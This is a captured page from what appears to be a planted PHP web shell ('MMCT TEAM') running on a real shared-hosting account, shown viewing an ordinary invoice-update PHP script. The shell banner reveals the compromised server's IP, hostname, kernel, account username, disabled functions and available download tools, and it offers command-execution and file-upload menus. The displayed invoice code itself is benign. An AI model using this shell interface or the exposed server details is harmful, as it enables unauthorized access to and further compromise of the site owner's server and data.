MMCT TEAM
Server IP : 217.21.85.138  /  Your IP : 216.73.216.103
Web Server : LiteSpeed
System : Linux in-mum-web906.main-hosting.eu 4.18.0-553.37.1.lve.el8.x86_64 #1 SMP Mon Feb 10 22:45:17 UTC 2025 x86_64
User : u915722082 ( 915722082)
PHP Version : 7.4.33
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF
Directory (0755) :  /home/u915722082/.nvm/../public_html/invoice/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/u915722082/.nvm/../public_html/invoice/ajax_group_attr_update.php
<?php
include 'db.php';

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $gname = trim($_POST['gname']);
    $gaids = $_POST['gaid'] ?? [];
    $aids = $_POST['aid'] ?? [];
    $avalues = $_POST['avalue'] ?? [];

    // Validate inputs
    if (empty($gname)) {
        echo json_encode(['status' => 'error', 'message' => 'Group name is required.']);
        exit;
    }

    if (count($gaids) === 0 || count($aids) === 0 || count($avalues) === 0) {
        echo json_encode(['status' => 'error', 'message' => 'Attribute data is incomplete.']);
        exit;
    }

    // Ensure the arrays have the same length
    if (count($gaids) !== count($aids) || count($gaids) !== count($avalues)) {
        echo json_encode([
            'status' => 'error', 
            'message' => 'Data mismatch: ' . count($gaids) . ' GAIDs, ' . count($aids) . ' AIDs, and ' . count($avalues) . ' values.'
        ]);
        exit;
    }

    try {
        $con->begin_transaction();
        
        $stmt = $con->prepare("UPDATE groupofattr SET gname = ?, aid = ?, avalue = ? WHERE gaid = ?");

        for ($i = 0; $i < count($gaids); $i++) {
            $gaid = intval($gaids[$i]);
            $aid = intval($aids[$i]);
            $avalue = $avalues[$i];

            if (empty($gaid) || $gaid <= 0) {
                throw new Exception("Invalid GAID at index $i: $gaid");
            }

            if (empty($aid) || $aid <= 0) {
                throw new Exception("Invalid AID at index $i: $aid");
            }

            $stmt->bind_param("sisi", $gname, $aid, $avalue, $gaid);
            $result = $stmt->execute();
            
            if (!$result) {
                throw new Exception("Failed to update record with GAID: $gaid. Error: " . $stmt->error);
            }
        }

        $con->commit();
        echo json_encode(['status' => 'success', 'message' => 'Group attributes updated successfully']);
        
    } catch (Exception $e) {
        $con->rollback();
        echo json_encode(['status' => 'error', 'message' => $e->getMessage()]);
    } finally {
        if (isset($stmt)) {
            $stmt->close();
        }
    }
} else {
    echo json_encode(['status' => 'error', 'message' => 'Invalid request method']);
}
?>

MMCT - 2023